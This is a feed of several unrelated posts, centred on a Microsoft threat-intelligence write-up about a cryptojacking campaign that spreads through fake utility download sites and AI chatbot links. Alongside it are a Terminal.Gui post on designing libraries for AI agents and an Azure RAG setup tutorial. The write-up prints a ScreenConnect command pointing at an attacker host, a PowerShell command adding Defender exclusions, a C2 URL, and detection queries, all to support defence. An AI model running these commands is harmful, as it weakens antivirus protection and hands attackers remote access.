Read more of this story at Slashdot.
Read more of this story at Slashdot.
Microsoft Defender Experts identified an active cryptojacking campaign in which malicious download sites are surfaced not only through traditional search engine poisoning, but also through AI chatbot interactions. This emerging delivery technique extends social engineering beyond conventional search results and increases the visibility of malicious software recommendations.
The campaign impersonates trusted system utilities including CrystalDiskInfo, HWMonitor, Display Driver Uninstaller, FurMark, K-Lite Codec Pack, and PDFgear to target users likely to own high-performance GPUs. Rather than maximizing infection volume, the threat actor appears focused on compromising systems with higher mining value.
Beyond cryptocurrency mining, the campaign establishes persistent remote access through abused ScreenConnect deployments that could later support data theft, lateral movement, or ransomware activity. This combination of AI-assisted delivery, software impersonation, and persistent access highlights how threat actors are adapting social engineering and monetization strategies to modern user behavior.
Microsoft Defender detected and blocked activity associated with this campaign. Organizations should enable cloud-delivered protection, run EDR in block mode, and enable attack surface reduction rules to reduce risk.
Cryptocurrency mining campaigns have long favored volume over precision, compromising as many hosts as possible to extract marginal value from each. The campaign described in this blog takes a more deliberate approach: its operators have built a targeting and monetization strategy engineered from the ground up to maximize GPU mining yield per compromised device.

The campaign begins when users search for common system utility and hardware-monitoring software on a search engine. The users are then presented with manipulated results that direct them to attacker-controlled lookalike sites. The operator runs a coordinated SEO poisoning operation that simultaneously masquerades as a broad portfolio of trusted utility brands, where each one serves the same downstream payload chain.
The campaign abuses multiple trusted brands, including: CrystalDiskInfo, HWMonitor, Display Driver Uninstaller, FurMark, K-Lite Codec Pack, and PDFgear. The selection of these brands is deliberate. Each application is favored by PC enthusiasts and hardware-focused users, precisely the audience most likely to own a high-performance discrete GPU, the hardware that makes GPU cryptocurrency mining economically viable.

In April 2026, we observed reports indicating that users may have been directed to malicious domains through interactions with large language model (LLM)–based tools. In these cases, users querying AI chatbots for software download recommendations were presented with links to attacker‑controlled domains within generated responses. Analysis of VirusTotal scan associated with these domains further identified traffic metadata referencing chatbot interactions as a potential referral context.
While this behavior is based on observed patterns and correlated data sources, it’s consistent with emerging techniques in AI search result poisoning, representing an extension of traditional SEO poisoning beyond conventional search engines.



Each fake site presents a download button that claims it has the legitimate utility. The download instead retrieves a ZIP archive hosted on a campaign‑specific subdomain of gleeze.com. The gleeze.com parent domain is hosted by infrastructure associated with Dynu (dynu.com), a dynamic DNS provider frequently leveraged by threat actors.

Since March 2026, we’ve identified more than 150 malicious domains that we assess serve these malicious tools, masqueraded as system utilities linked to this campaign.
The downloaded ZIP archive contains the legitimate executable for the spoofed utility alongside a malicious DLL named autorun.dll. When the user launches the executable, the legitimate program loads autorun.dll from the same folder via DLL sideloading, a technique that requires no exploitation and generates no user-visible anomaly. Analysis revealed nine distinct autorun.dll variants across the campaign.


The malicious DLL uses msiexec.exe to silently install a second malicious DLL named vcredist_x64.dll, named to masquerade as the Visual C++ Redistributable. This file is itself a packaged installer for ScreenConnect software.
ScreenConnect software (also known as ConnectWise Control) is a legitimate commercial remote management tool widely used by IT administrators. The tool itself is not at fault; rather, the threat actor abuses its legitimate capabilities to establish persistent remote access consistent with a broader pattern of remote monitoring and management (RMM) tool abuse observed across the threat landscape
Once installed, the ScreenConnect client constantly attempts to communicate with the attacker-controlled server at 193.42.11[.]108 via the following service invocation:
"ScreenConnect.ClientService.exe"
"?e=Access&y=Guest&h=directdownload.icu&p=8041&s=b31c5795-9b66-4d20-ac8d-aad60d05852a&k=...&c=Crystaldeskinfo%20New%20New%20New&c=&c=&c=&c=&c=&c=&c="
The h parameter (directdownload[.]icu) is the host the client connects to.
The repeated c= parameters are ScreenConnect’s custom property fields, which in some cases closely matched the software used to drop ScreenConnect. However, across other instances we were unable to verify if this is an identifier linked to the software used via SEO poisoning.
Once the ScreenConnect session is established, the attacker drops a binary named SimpleRunPE.exe directly via ScreenConnect’s file-transfer feature.
Project lineage
Static analysis of this binary surfaced an embedded Program Database (PDB) path inside the binary’s debug directory:
G:\My Drive\works\test projects\Simple-RunPE-Process-Hollowing-RUNPE\SimpleRunPE\obj\Release\SimpleRunPE.pdb

The folder structure in the path matches a public proof-of-concept repository on GitHub (Watermwo/Simple-RunPE-Process-Hollowing), with a -RUNPE suffix. With this information, Microsoft assesses with moderate confidence that the dropped binary’s process hollowing might be a fork of this public codebase. Using this PDB path as a pivot, we identified multiple binaries sharing similar debug paths, all reported to the Microsoft Defender team and addressed.


Once executed, SimpleRunPE.exe writes a copy of itself into a hidden install folder as RuntimeHost.exe. The install folder name uses the campaign identifier D3F4E2A1, which recurs throughout the malware as a mutex name (Global\D3F4E2A1_Svc) and in Defender exclusion entries.
The malware sets the Hidden and System file attributes on both the install folder and the RuntimeHost.exe file, hiding them from default Explorer views. The malware first attempts to install into a preferred location resolved at runtime and falls back to %LocalAppData%\Microsoft\Windows\Caches\D3F4E2A1\ if the preferred location is not writable.
In a subset of compromises, rather than dropping SimpleRunPE.exe directly via ScreenConnect file transfer, a malicious PowerShell script that fetched the binary from a remote drive, stored it locally as vlc.exe, and created a one-time scheduled task to execute and then delete itself, reducing forensic traceability.

Once SimpleRunPE.exe has copied itself to the install path as RuntimeHost.exe, it establishes six persistence mechanisms across multiple Windows autostart locations. The persistence mechanisms span three scheduled tasks, two registry Run keys, and one Startup folder shortcut.

| Tactic | Trigger | Identifier |
| Scheduled task | On user logon (highest privileges) | Task name: Windows System Health |
| Scheduled task | On system boot, 1-hour delay (highest privileges) | Task name: Windows System Health Monitor |
| Scheduled task | Every 5 minutes (highest privileges) | Task name: Windows System Health Check |
| Registry Run key (machine) | On any user logon | HKLM\Software\Microsoft\Windows\CurrentVersion\Run\WinSysCache |
| Registry Run key (user) | On current user logon | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WinSysCache |
| Startup folder shortcut | On current user logon | %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeHost.lnk |

Each time the persistence mechanism executes, it relaunches RuntimeHost.exe, which functions as a recovery mechanism for the follow up process hollowing behaviour. Each time the persistence mechanism launches RunTimeHost, it validates whether the following behavior is complete. If the behavior isn’t complete, the rumtimehost.exe attempts to hollow as well.
Process hollowing into Microsoft-signed .NET binaries
The malware simplerunpe.exe proceeds to attempt process hollowing into a legitimate Microsoft-signed binary. The malware carries a hardcoded list of seven candidate target processes, all of them legitimate Windows utilities that ship with the .NET Framework. These targets are tried in order, and the first one whose binary is present on the host’s disk is selected:

The dropper launches the chosen target binary in a suspended state and uses API calls such as WriteProcessMemory, SetThreadContext, ResumeThread to hollow the process. This causes the malicious mining code to run under the identity of a trusted Microsoft-signed binary and execute its own code.

Defender exclusions
The malware simplerunpe.exe invokes PowerShell to call the Add-MpPreference cmdlet, registering both path-based and process-based exclusions.
powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath @(...) -ErrorAction SilentlyContinue"
Process-name exclusions cover 13 binaries:


Anti-analysis check
The malware performs anti-analysis checks, exiting silently if any indicator suggests the binary is running in an analysis environment.
The malware checks for virtual machine detection: (registry keys for VMware Tools and VirtualBox Guest Additions, the SCSI Identifier value checked against VBOX/VMWARE/QEMU substrings, MAC address prefix matching against known virtualization vendor ranges, and WMI queries against Win32_ComputerSystem and Win32_BIOS.
The malware also checks against a hardcoded list of forty analyst-tool process names spanning debuggers, disassemblers, decompilers, PE inspection tools, and network analysis utilities, including dnSpy, x64dbg, IDA, Ghidra, ProcMon, Wireshark, Fiddler.
If any of the binaries are detected, the process terminates its execution.

Once process hollowing is complete and the malware is running inside a Microsoft-signed Windows utility, the mining-client portion of the binary takes over. The first action is to acquire a system-wide mutex named Global\D3F4E2A1_Svc. The mutex name uses the same campaign identifier (D3F4E2A1) as the install-path directory and the Defender exclusion paths.
RuntimeHost.exe probes this mutex to confirm that hollowing has already succeeded and the hollowed process is still alive on the host.
The hollowed binary establishes a connection to the attacker’s server (described in the next section) and sends a registration frame containing comprehensive host reconnaissance to the attacker controlled C2/panel.
| Category | What’s collected |
| Fingerprinting | CPU model and core count; GPU model and vendor with integrated vs. discrete classification; total physical RAM; device type. |
| Live resource state | Current CPU usage; current GPU usage (separately for total and dedicated GPU); GPU temperature; system uptime. |
| Operating system | Windows version and architecture, full Windows product name, whether the malware is running with administrative privileges. |
| Network identity | Local IP address; country code derived from an outbound geolocation lookup. |
| Security posture | Installed antivirus product enumerated via Windows Security Center. |
| User activity | Idle seconds (time since last keyboard or mouse input). |
| GPU activity detection | Detection of gaming, streaming, or other GPU-heavy user activity based on sustained GPU usage. |
| Mining state | Whether the miner process is currently running; current latency to the mining pool. |

The address of the attacker’s server is held inside an encrypted blob using AES-128-CBC encryption. In addition to obfuscating the address, we observed a hard-coded Transport Layer Security (TLS) certificate.


Decrypting the embedded blob yields the C2 URL wss[:]//minemine.gleeze[.]com:8443/ws.
The malware also hardcodes the SHA-256 fingerprint of the TLS certificate expected at this endpoint, used to pin the connection during the WebSocket handshake:
EB:C3:5D:4A:08:D9:3A:88:0E:90:AE:AD:2D:3F:7F:B4:3F:DC:08:EA:77:DB:9D:D5:2F:80:78:1E:6B:FD:88:67
The malware (hollowed Windows binary) doesn’t embed a miner program. Instead, when it’s time to begin mining, the malware downloads the appropriate miner archive at runtime and runs it. Three miner programs are supported: gminer, lolMiner, and SRBMiner-MULTI, all of which are GPU-focused tools.
The hollowed binary also runs a continuous background routine that wakes every five seconds and checks whether mining should currently be paused (based on the GPU-activity gate), and whether all six persistence mechanisms are still in place.
When the verification cycle runs, the malware
Apart from verifying the persistence, the malware also tracks the process activity on the device. As soon as the loader detects the following processes as running, it terminates the miner process.

The malware also monitors GPU usage and terminates its activity. If the GPU usage is high or the device isn’t idle, the mining processes are terminated.
Certificate pivoting
As mentioned previously, using this hard-coded certificate, we identified 3 IPs using this specific TLS certificate.
Using OSINT, this TLS certificate was observed to be presented by 3 IP addresses. Microsoft assesses that these IPs are part of the C2 infrastructure.
• 93.115[.]10.35
• 198.23[.]185.238
• 2.59.132[.]106
Using these IPs as pivots, we observed that there were additional linked campaigns using a similar DynamicDNS domain giize[.]com. Some of the sources of the malicious file downloads in these campaigns originated from:
These domains are also linked to a series of malicious domains performing similar SEO poisoning-based campaigns, leading to same infection chain described in this blog.
Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.
Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:
Enable network protection in Microsoft Defender for Endpoint.
Turn on web protection in Microsoft Defender for Endpoint.
Encourage users to use Microsoft Edge and other web browsers that support SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.
Remind employees that enterprise or workplace credentials should not be stored in browsers or password vaults secured with personal credentials. Organizations can turn off password syncing in browser on managed devices using Group Policy.
Turn on the following attack surface reduction rule to block or audit activity associated with this threat:
Block executable files from running unless they meet a prevalence, age, or trusted list criterion(GUID: 01443614-cd74-433a-b99e-2ecdc07bfc25)
Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.
Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.
| Tactic | Observed activity | Microsoft Defender coverage |
| Execution | Unusual ScreenConnect service creation activity | Suspicious service launched (endpoint detection and response – EDR) |
| Malicious DLL sideloading linked to autorun.dll | An executable file loaded an unexpected DLL file (EDR) | |
| ScreenConnect Installation activity | Suspicious behaviour by msiexec.exe (EDR) | |
| Defender detection of crypto mining framework binary | Trojan:MSIL/CoinMiner!MS(AV) | |
| MDAV detection of suspicious DLL | HackTool:Win64/Malgent!MSR(AV) | |
| Persistence | Scheduled task creation activity associated with malicious binary | Suspicious Task Scheduler activity |
| Malicious ASEP linked with malicious binary execution | Anomaly detected in ASEP registry | |
| Suspicious .LNK file in startup folder | An uncommon file was created and added to startup folder | |
| Defense Evasion | Antivirus exclusion added by malicious binary | Suspicious Defender Antivirus exclusion Modification attempt in Microsoft Defender Antivirus exclusion listAn uncommon file was created and added to startup folder |
| Process hollowing activity to malicious binary | A process was injected with potentially malicious code | |
| Command and control | Attacker executing malicious commands via ScreenConnect | Suspicious command execution via ScreenConnect |
Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:
Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender or Microsoft Sentinel.
Suspicious binary execution from unusual directory
This query searches for suspicious RunTimeHost.exe from a specific directory. Executions from this directory are often linked to the relevant campaign.
//
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "RuntimeHost.exe"
or InitiatingProcessFileName =~ "RuntimeHost.exe"
| where (FolderPath has @"\Caches\D3F4E2A1")
or (InitiatingProcessFolderPath has @"\Caches\D3F4E2A1")
| project Timestamp, DeviceId, DeviceName,
FileName, FolderPath, ProcessCommandLine,
ParentProcess = InitiatingProcessFileName,
ParentProcessPath = InitiatingProcessFolderPath,
ParentProcessCmd = InitiatingProcessCommandLine,
AccountName
Suspicious scheduled task creation activity
This query looks for suspicious scheduled task creation activity with task names often associated with this cryptojacking campaign.
//Run the below query to identify events linked to the suspicious scheduled task creation activity
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| where ProcessCommandLine has_any (
"Windows System Health Monitor",
"Windows System Health"
)
| project Timestamp, DeviceId, DeviceName,
AccountName,
TaskCreationCmd = ProcessCommandLine,
ParentProcess = InitiatingProcessFileName,
ParentProcessPath = InitiatingProcessFolderPath,
ParentProcessCmd = InitiatingProcessCommandLine
Suspicious MSIEXEC activity associated with a binary loading a suspicious DLL
This query looks for a process loading a suspicious DLL named ‘autorun.dll’ followed by unusual MSIEXEC activity from the same binary.
let SideloadingProcesses =
DeviceImageLoadEvents
| where Timestamp > ago(60d)
| where FileName =~ "autorun.dll"
| where InitiatingProcessFolderPath has_any (
@"\Downloads\", @"\AppData\Local\Temp\", @"\AppData\Roaming\",
@"\ProgramData\", @"\Users\Public\",@"\Desktop\"
)
|where FolderPath has @"\sources\"
| project SideloadTime = Timestamp, DeviceId, DeviceName,
LauncherProcessId = InitiatingProcessId,
LauncherCreationTime = InitiatingProcessCreationTime,
LauncherName = InitiatingProcessFileName,
LauncherPath = InitiatingProcessFolderPath,
SideloadedDllPath = FolderPath;
let unique_devices=SideloadingProcesses|distinct DeviceId;
let MsiSpawns =
DeviceProcessEvents
| where Timestamp > ago(60d)
|where DeviceId in(unique_devices)
| where FileName =~ "msiexec.exe"
| where ProcessCommandLine has "/i"
| where ProcessCommandLine has "/quiet"
| project MsiSpawnTime = Timestamp, DeviceId,
LauncherProcessId = InitiatingProcessId,
LauncherCreationTime = InitiatingProcessCreationTime,
MsiCmd = ProcessCommandLine,
MsiProcessId = ProcessId ;
SideloadingProcesses
| join kind=inner MsiSpawns
on DeviceId, LauncherProcessId, LauncherCreationTime
| where MsiSpawnTime between (SideloadTime .. (SideloadTime + 30m))
| project SideloadTime, MsiSpawnTime,
DeviceId, DeviceName,
LauncherName, LauncherPath, LauncherProcessId,
SideloadedDllPath, MsiCmd, MsiProcessId
| Indicator | Type | Description |
| direct-download[.]gleeze[.]com start-download[.]gleeze[.]com direct-downloads[.]giize.com free-download[.]giize.com | Domain | Hosts malicious ZIP files |
| directdownload[.]icu | Domain | Host that ScreenConnect client connects to |
| 16562974deec80e41ef57a71a6de8c03ceb393005fb1432f8d9d82c61294ef8c | SHA256 | autorun.dll loaded by legit EXE via DLL sideloading |
| 1b2555b09ac62164638f47c8272beb6b0f97186e37d3a54cb84c723ff7a2eee5 | SHA256 | autorun.dll loaded by legit EXE via DLL sideloading |
| 062bb28765fbaa11f8cc341fa16e2c7f942a122d929cb41f4a0f755b4429f246 | SHA256 | autorun.dll loaded by legit EXE via DLL sideloading |
| c7425fbe6c3a4937934215c54027d4b67202d12ab490682fae03498870d66d06 | SHA256 | autorun.dll loaded by legit EXE via DLL sideloading |
| a460d00ef93c8ce70d32e48e55781af66a53328fc2dde45519be196c265de074 | SHA256 | autorun.dll loaded by legit EXE via DLL sideloading |
| db2d33c4e6e4a5c2263b56e8303c343305a94dde1fc2968304ba260acbbd9f9f | SHA256 | autorun.dll loaded by legit EXE via DLL sideloading |
| cf3f8160eb5a5580e0c35054847e3ac4d01e9fe74fab8bc12bf6e8a40bf696b2 | SHA256 | autorun.dll loaded by legit EXE via DLL sideloading |
| 69077fcf940fc5852fb32beed15636756ebc04ac971b7ed71d36251e7ea70a20 | SHA256 | autorun.dll loaded by legit EXE via DLL sideloading |
| 2ee93ccbcd49ed94c65dcf52e7dcb8f0fa0a443ca24c0e0c7f79152efba657b7 | SHA256 | autorun.dll loaded by legit EXE via DLL sideloading |
| 193.42.11[.]108 | IP address | ScreenConnect client communicates to this attacker controlled IP |
| 9ff07c9fafa9c03fdf69e4abf6806aa7c938b5480e7e258f227db0719ecd6386 | SHA256 | SimpleRunPE.exe binary transferred by the attacker to the device during established ScreenConnect session |
| 7035c2abeb617e828dfda1b119b8544fa9ae15a1d263d18bc5506acaf381f496 | SHA256 | SimpleRunPE.exe binary transferred by the attacker to the device during established ScreenConnect session |
| e021662a652ba95c8778b991056696ab3c9b0f60d5e23b1e6cf73c3847db6610 | SHA256 | ScreenConnect file masquerading as a DLL |
| wss[:]//minemine.gleeze[.]com:8443/ws | URL | C2 from hollowed binary |
This research is provided by Microsoft Defender Security Research with contributions from Parasharan Raghavan and members of Microsoft Threat Intelligence.
For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.
To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.
The post From poisoned search results to GPU mining: A cryptojacking campaign abusing ScreenConnect and Microsoft .NET utilities appeared first on Microsoft Security Blog.
Depending on your view of the promise of AI, last week's Google I/O tsunami of news was either thrilling or terrifying.
The post DuckDuckGo Usage Surges Since Google I/O 26 appeared first on Thurrott.com.
I, for one,
welcomeembrace our robotic overlords.
Nine months ago I sat down with ChatGPT to upgrade the command routing and keybinding system for Terminal.Gui. I expected magic. What I got was C# that would have compiled cleanly in 2007. Static singletons. Obsolete event handlers. APIs we’d deprecated two years ago. The agent was confident, fast, and clinically insane.
I had a choice. Get mad at the agent, or get to work.
This is the choice every library maintainer faces in the new AI world. Models are trained on whatever code is in the world, which means they know your v1 better than they know your v2. They are not going to politely wait for your docs to catch up. They are going to ship code, with or without you.
So either you build for them, or they build against you.
In the past month, in an effort to take advantage of Copilot’s insane pricing model that is going away next week, I took on several ambitious Terminal.Gui projects. This time the experience approached magic (with a lingering whiff of Mad Hatter).
Agent-friendly software treats AI agents as first-class consumers of every artifact the project produces: APIs, docs, CLIs, demos, and tests.
Most people, when they say “I made my codebase AI-friendly,” mean “I added a CLAUDE.md.” That is the bare minimum, and it does almost nothing on its own.
The actual work is five things.
schemaVersion. POSIX exit codes. Timeouts. Errors that say what’s wrong in a shape the agent can parse.None of this is new. It is the boring discipline of writing a good API, applied to a population of consumers that didn’t exist three years ago.
Here is what came out of taking that seriously across the Terminal.Gui ecosystem.
v2.0 Released in April. The architectural headline was real: we killed the static singleton, moved to instance-based IApplication, built a pure-ANSI driver, and rebuilt mouse and keyboard from the parser up.

The headline for agents is different. The API is now boring enough that an LLM can use it correctly. Singletons make models hallucinate state. Instance-based APIs do not. Type-safe dialogs make models invent fewer fields. Pure ANSI means one driver to reason about across platforms, not three.
We also did the unglamorous work. Rewrote AGENTS.md as a real payload instead of a pointer. Shipped a v1-to-v2 corrections file so agents stop generating obsolete API calls. Added llms.txt to the docs site. Wrote a CLAUDE.md tuned for Claude Code specifically. The migration guide is now the kind of document you can point an agent at and say “port my v1 app,” and it works. I’ve done it.
Last week Copilot (using GPT 5.5) did something to Terminal.Gui that would have been a month of typing in 2024. PR #5411 refactors ConfigurationManager to be based on Microsoft.Extensions.Configuration. 86 files, 14 commits, six phases, 17,110 tests still passing. I didn’t write any of it.
It wasn’t a one-shot. The first pass invented APIs that didn’t exist (Driver.ForceMaxColors, fake theme names, properties that were renamed two versions ago). I caught it, made Copilot verify every API reference against the actual codebase, and from there it was clean.
The real magic wasn’t the agent. It was the spec. Six phases, decision records (D-01, D-02) for the contested design choices, scope-in and scope-out called out explicitly, a stacked follow-up PR planned before this one shipped. I used Opus 4.7 to help write the spec. Copilot and GPT 5.5 executed it. That is the division of labor that works.
If an agent can’t use your library well, your library has bad ergonomics. Agents do not read between the lines.
Terminal.Gui.Editor is what happens when you take AvaloniaEdit’s document layer, port the pure-data bits to a TG View, and ship it as a NuGet package. It is a library. It is not a competitor to vim.
That said, the ted example app is a great TUI text and code editor!

The README lists the use cases: a script box, a config pane, a notes view, a chat composer. And one more, named explicitly because it matters: the input area of an LLM agent’s terminal front-end.
Building a TUI for an agent? You need a multi-caret, undo-aware, syntax-highlighted edit surface. That is now a dotnet add package away.
clet is the cleanest example of the thesis.
A
cletis a CLI-let: a single subcommand that delivers a typed, schema-versioned interactive prompt to either a human or an agent, with the contract negotiated by a single--jsonflag.
One binary, eighteen subcommands, every one a typed prompt. edit, select, pick-file, confirm, date, color, multi-select. For a human, a rich TUI. For an agent:
clet select --json "prod" "staging" "dev"
# → {"schemaVersion":1,"status":"ok","value":"staging"}
JSON envelope. Schema version. POSIX exit codes (0 ok, 2 usage, 130 cancelled). --timeout 30s so an agent script doesn’t hang on a missing human. Same binary serves the shell user picking a deploy target and the agent escalating a decision before continuing.
That is what agent-friendly looks like at the contract level. A typed result with a parseable error path. Not a markdown file.
The competition is gum, fzf, dialog, and whiptail. Each is good at one thing. clet is the unification, with a real UI toolkit underneath and a JSON contract on top so the agent never has to scrape stdout.
gui-cs/cli generalizes the clet idea. It is a Terminal.Gui library that lets your app expose its Views as scriptable CLI commands with typed JSON output, POSIX exit codes, and AI-agent discoverability.
Build an interactive TUI for humans. Get a scriptable agent surface for free. Same View, two front ends.
Still early. The shape is right.
tuirec records a terminal app driven by a keystroke script and produces an animated GIF. Cross-platform, Go, agg-backed.
What I am proud of is the README’s For AI Agents section. Three layers, each doing a different job.
tuirec opencli returns a machine-readable command schema. The agent learns what commands and flags exist.tuirec agent-guide explains keystroke syntax, timing budgets, and platform gotchas. The agent learns how to use the commands correctly.Discovery, then semantics, then runbook. Three different decisions the agent has to make, three different documents serving each one. Ship only the first and the agent guesses. Ship all three and the agent succeeds on the first try.
“Record UICatalog opening the About dialog, hovering over each tab, and quitting” should be an agent call, not a human afternoon.
As of today, Terminal.Gui’s API docs for each View shows a GIF illustrating what the View looks like in action.

Last week I filed an issue against Spectre.Console titled Complementary by Design.
Spectre excels at beautiful output: tables, charts, trees, panels, figlet, rich markup. Terminal.Gui excels at interactive TUI apps: forms, focus, layout, lifecycle. These are complementary, not competitors. We have built a first pass at the bridge, a read-only TG View that renders any Spectre IRenderable inline alongside interactive TG controls.
The argument I led with in the issue is the one I want to repeat here:
Increasingly, it’s AI agents (not just developers) generating TUI code. They shouldn’t have to choose between the two libraries when both are in their training data.
That is a new design constraint, and a permanent one. Your library’s documentation in 2026 is partly shaped by which other libraries the model has also memorized. Some of your consumers have weights.
Not them. Still us.
But the people who treat agents as adversaries to defend against are going to ship software that fights its own tooling. The people who treat agents as users to design for are going to ship software that gets better every time the models do.
Every contract typed. Every doc dual-audience. Every demo agent-reproducible. Five projects that work for humans, work for agents, and work better because I stopped pretending those were different requirements.
And just wait until you see what I am going to do next with WinPrint 2.x. Humans have stopped printing stuff. Maybe agents will want to instead.
Comments below. Or grab time on office hours.
Imagine you are building your company’s RAG chat application using Azure OpenAI Service and orchestrating the flow with LangChain. The chat experience works, but now it needs to be grounded in your company’s data. You generate embeddings and want to store and query them without adding another database or complex sync pipeline. Instead of stitching services together, you use Azure DocumentDB (with MongoDB compatibility) with built-in vector search to store your JSON data and embeddings in one place. You deploy the app to Azure App Service and quickly compare vector search alone versus a full RAG pipeline, sharing it with your team for testing.
In this blog, you'll learn to:
Build AI Powered RAG Application using the LangChain, Azure OpenAI, and Azure DocumentDB (with MongoDB compatibility): Step-by-Step Guide
Step 1: Create an Azure DocumentDB (with MongoDB compatibility) resource
Step 2: Create an Azure OpenAI resource and Deploy chat and embedding Models
Step 3: Create an Azure App Service and Deploy the RAG Chat Application
In this step, you'll:
1. Visit the Azure Portal https://portal.azure.com in your browser and sign in.
Now you are inside the Azure portal!
In this step, you create an Azure Cosmos DB for MongoDB vCore Cluster to store your data, vector embedding, and perform vector search.
1. Type mongodb vcore in the search bar at the top of the portal page and select Azure Cosmos DB for MongoDB (vCore) from the available options.
2. Select Create from the toolbar to start provisioning your new cluster.
3. Add the following information to create a resource:
| What | Value |
| Subscription | Use your preferred subscription. It's advised to use the same subscription across all the resources that communicate with each other on Azure. |
| Resource group | Select Create new to create a new resource group. Enter a unique name for the resource group. |
| Cluster name | Enter a globally unique name. |
| Location | Select a region close to you for the best response time. For example, Select UK South. |
| MongoDB version | Select the latest available version of MongoDB. |
4. Select Configure to configure your cluster tier.
5. Add the following information to configure the cluster tier. You can scale it up later:
| What | Value |
| Cluster tier | Select M25 tier, 2 (Burstable) vCores. |
| Storage |
Select 32 GiB. |
6. Select Save.
7. Enter the cluster Admin Username and Password and store them in a secure location.
8. Select Next to configure the networking settings.
9. Select Allow Public Access from Azure services and resources within the Azure to this cluster.
10. Select Add current IP address to the firewall rules to allow local access to the cluster.
11. Select Review + create.
12. Confirm your configuration settings and select Create to start provisioning the resource.
Note: The cluster creation can take up to 10 minutes. It's recommended to move on with the rest of the steps and get back to it later.
In this step, you'll:
In this step, you create an Azure OpenAI Service resource that enables you to interact with different large language models (LLMs).
1. Type openai in the search bar at the top of the portal page and select Azure OpenAI from the available options.
2. Select Create from the toolbar to provision a new OpenAI resource.
3. Add the following information to create a resource:
| What | Value |
| Subscription | Use the same subscription you used to apply for Azure OpenAI access. |
| Resource group | Use the resource group you created in the previous step. |
| Region | Select a region close to you for the best response time. For example, Select UK South. |
| Name | Enter a globally unique name. |
| Pricing tier |
Select S0. Currently, this is the only available pricing tier.
|
4. Now that the basic information is added, select Next to confirm your details and proceed to the next page.
5. Select Next to confirm your network details.
6. Select Next to confirm your tag details.
7. Confirm your configuration settings and select Create to start provisioning the resource. Wait for the deployment to finish.
8. After the deployment finishes, select Go to resource to inspect your created resource. Here, you can manage your resource and find important information like the endpoint URL and API keys.
In this step, you create an Azure OpenAI embedding model deployment and a chat model deployment. Creating a deployment on your previously provisioned resource allows you to generate text embeddings (i.e. numerical representation for text) and have a natural language conversation with your data.
1. Select Go to Azure OpenAI Studio from the toolbar to open the studio.
2. Select Create new deployment to go to the deployments tab.
3. Select + Create new deployment from the toolbar. A Deploy model window opens.
4. Add the following information to create a chat model deployment:
| What | Value |
| Select a model | Select gpt-35-turbo. |
| Model version | Select 0301. |
| Deployment name | Add a name that's unique for this cloud instance. For example, chat-model because this model type is optimized for having conversations. |
5. Select Create.
6. Select + Create new deployment from the toolbar. A Deploy model window opens.
7. Add the following information to create an embedding model deployment:
| What | Value |
| Select a model | Select text-embedding-ada-002. |
| Model version | Select 2. |
| Deployment name | Add a name that's unique for this cloud instance. For example, embedding-model because this model type is optimized for creating embeddings. |
8. Select Create.
In this step, you'll:
In this step, you create a copy from the source code on your GitHub account to be able to edit it and use it later.
1. Visit the sample github.com/john0isaac/rag-semantic-kernel-mongodb-vcore in your browser and sign in.
2. Select Fork from the top of the sample page.
3. Select an owner for the fork then, select Create fork.
In this step, you create an Azure App service resource and connect it with your GitHub account to deploy a Python application.
1. Type app service in the search bar at the top of the portal page and select App Services from the available options.
2. Select Create Web App from the toolbar to start provisioning a new web application.
3. Add the following information to fill in the basic configuration of the application:
| What | Value |
| Subscription | Use the same subscription you used to apply for Azure OpenAI access. |
| Resource group | Use the same resource group you created before. |
| Name | Enter a unique name for your website. For example, rag-mongodb-demo. |
| Publish? | Select Code. This option specifies whether your deployment consists of code or a container. |
| Runtime stack | Select Python 3.10. |
| Operating System | Select Linux. |
| Region | Select UK South. This is the region where the rest of the resources you created reside. |
4. Add the following information to create the app service plan. You can scale it up later:
| What | Value |
| Linux Plan | Select a pre-existing plan or create a new plan. |
| Pricing Plan |
Select Basic B1. |
5. Select Deployment from the toolbar to move to the deployment configuration tab.
6. Add the following information to enable continuous deployment from GitHub:
| What | Value |
| Continuous deployment | Select Enable. |
| GitHub account | Select your GitHub account. |
| Organization | Select your organization. If you are using your personal account then select it. |
| Repository | Select rag-semantic-kernel-mongodb-vcore. |
| Branch | Select main. |
7. Select Review + create.
8. Confirm your configuration settings and select Create to start provisioning the resource. Wait for the deployment to finish.
9. After the deployment finishes, select Go to resource to inspect your created resource. Here, you can manage your resource and find important information like the application settings and logs.
| What | Value |
| AZURE_OPENAI_CHAT_DEPLOYMENT_NAME | <chatModelDeploymentName> |
| AZURE_OPENAI_EMBEDDINGS_DEPLOYMENT_NAME | <embeddingModelDeploymentName> |
| AZURE_OPENAI_DEPLOYMENT_NAME | <azureOpenAiResourceName> |
| AZURE_OPENAI_ENDPOINT | https://<azureOpenAiResourceName>.openai.azure.com/ |
| AZURE_OPENAI_API_KEY | <azureOpenAiResourceKey> |
| AZCOSMOS_API | mongo-vcore |
